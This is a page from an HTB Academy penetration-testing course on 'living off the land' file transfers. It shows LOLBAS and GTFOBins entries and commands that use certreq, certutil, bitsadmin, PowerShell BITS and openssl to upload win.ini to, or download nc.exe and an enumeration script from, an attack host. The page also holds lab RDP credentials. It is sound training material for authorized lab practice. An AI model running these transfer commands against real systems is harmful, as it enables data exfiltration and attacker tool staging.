

Living off The Land

The phrase "Living off the land" was coined by Christopher Campbell [@obscuresec](#) & Matt Graeber [@mattifestation](#) at [DerbyCon 3](#).

The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:

- [LOLBAS Project for Windows Binaries](#)
- [GTFOBins for Linux Binaries](#)

Living off the Land binaries can be used to perform functions such as:

- Download
- Upload
- Command Execution
- File Read
- File Write
- Bypasses

This section will focus on using LOLBAS and GTFOBins projects and provide examples for download and upload functions on Windows & Linux systems.

Using the LOLBAS and GTFOBins Project

[LOLBAS for Windows](#) and [GTFOBins for Linux](#) are websites where we can search for binaries we can use for different functions.

LOLBAS

To search for download and upload functions in [LOLBAS](#) we can use `/download` or `/upload`.

LOLBAS

☆ Star 4,379



Living Off The Land Binaries, Scripts and Libraries

For more info on the project, click on the [logo](#).

If you want to contribute, check out our [contribution guide](#). Our [criteria list](#) sets out what we define as a LOLBin/Script/Lib.

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation. You can see the current ATT&CK® mapping of this project on the [ATT&CK® Navigator](#).

If you are looking for UNIX binaries, please visit [gtfobins.github.io](#).

Binary	Functions	Type	ATT&CK® Techniques
CertReq.exe	Download Upload	Binaries	T1105: Ingress Tool Transfer
ConfigSecurityPolicy.exe	Upload	Binaries	T1567: Exfiltration

[configsecuritypolicy.exe](#)

[Upload](#)

Binaries

[Over Web Service](#)

[DataSvcUtil.exe](#)

[Upload](#)

Binaries

[T1567: Exfiltration Over Web Service](#)

Let's use [CertReq.exe](#) as an example.

We need to listen on a port on our attack host for incoming traffic using Netcat and then execute certreq.exe to upload a file.

Upload win.ini to our Pwnbox

Upload win.ini to our Pwnbox

```
C:\htb> certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini
Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)
```

This will send the file to our Netcat session, and we can copy-paste its contents.

File Received in our Netcat Session

File Received in our Netcat Session

```
dbcyph0n@htb[/htb]$ sudo nc -lvnp 80

listening on [any] 80 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

If you get an error when running [certreq.exe](#), the version you are using may not contain the `-Post` parameter. You can download an updated version [here](#) and try again.

GTFOBins

To search for the download and upload function in [GTFOBins for Linux Binaries](#), we can use `+file download` or `+file upload`.

GTFOBins

☆ Star 6,818

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate [functions](#) of Unix binaries that can be abused to get the f*ck break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain binaries available.

GTFOBins is a [collaborative](#) project created by [Emilio Pinna](#) and [Andrea Cardaci](#) where everyone can [contribute](#) with additional binaries and techniques



with additional binaries and techniques.

If you are looking for Windows binaries you should visit [LOLBAS](#).

Shell

Command

Reverse shell

Non-interactive reverse shell

Bind shell

Non-interactive bind shell

File upload

File download

File write

File read

Library load

SUID

Sudo

Capabilities

Limited SUID

+file download

Binary

Functions

[ab](#)

File upload File download SUID Sudo

[bash](#)

Shell Reverse shell File upload File download File write File read Library load SUID Sudo

[cpan](#)

Shell Reverse shell File upload File download Sudo

[curl](#)

File upload File download File write File read SUID Sudo

Let's use [OpenSSL](#). It's frequently installed and often included in other software distributions, with sysadmins using it to generate security certificates, among other tasks. OpenSSL can be used to send files "nc style."

We need to create a certificate and start a server in our Pwnbox.

Create Certificate in our Pwnbox

Create Certificate in our Pwnbox

```
dbcypth0n@htb[/htb]$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Generating a RSA private key
.....+++++
.....+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
```

Stand up the Server in our Pwnbox

Stand up the Server in our Pwnbox

```
dbcypth0n@htb[/htb]$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/ListenEnum.sh
```

Next, with the server running, we need to download the file from the compromised machine.

Download File from the Compromised Machine

Download File from the Compromised Machine

```
dbcypth0n@htb[/htb]$ openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
```

Other Common Living off the Land tools

Bitsadmin Download function

The [Background Intelligent Transfer Service \(BITS\)](#) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.

File Download with Bitsadmin

File Download with Bitsadmin

```
PS C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop
```

PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers.

Download

Download

```
PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Users\htb-student\Desktop"
```

Certutil

Casey Smith ([@subTee](#)) found that Certutil can be used to download arbitrary files. It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto [wget](#) for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.

Download a File with Certutil

Download a File with Certutil

```
C:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
```

Extra Practice

It's worth perusing the LOLBAS and GTF0Bins websites and experimenting with as many file transfer methods as possible. The more obscure, the better. You never know when you'll need one of these binaries during an assessment, and it'll save time if you already have detailed notes on multiple options. Some of the binaries that can be leveraged for file transfers may surprise you.

In the final two sections, we'll touch upon detection considerations regarding file transfers and some steps we can step to evade detection if the scope of our assessment calls for evasive testing.

VPN Servers

⚠ Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

PROTOCOL

● UDP 1337 ● TCP 443

DOWNLOAD VPN CONNECTION FILE



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

63ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Optional Exercises

Challenge your understanding of the Module content and answer the optional question(s) below. These are considered supplementary content and are not required to complete the Module. You can reveal the answer at any time to check your work.

Target: [Click here to spawn the target system!](#)

Connect to the target machine via RDP ((Username: htb-student | Password:HTB_@cademy_stdnt!)) and use Living Off The Land techniques presented in this section or any other found on the LOLBAS and GTF0Bins websites to transfer files between the Pwnbox and the Windows target. Type "DONE" when finished.

Submit your answer here...

 Submit

 Reveal Answer

 Previous

Next 

 Mark Complete & Next

 Cheat Sheet

Table of Contents

Introduction

File Transfers



File Transfer Methods

 Windows File Transfer Methods



 Linux File Transfer Methods



 Transferring Files with Code



 Miscellaneous File Transfer Methods



Protected File Transfers



Catching Files over HTTP/S



 [Living off The Land](#)

Detect or Be Detected

Detection

Evading Detection

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left

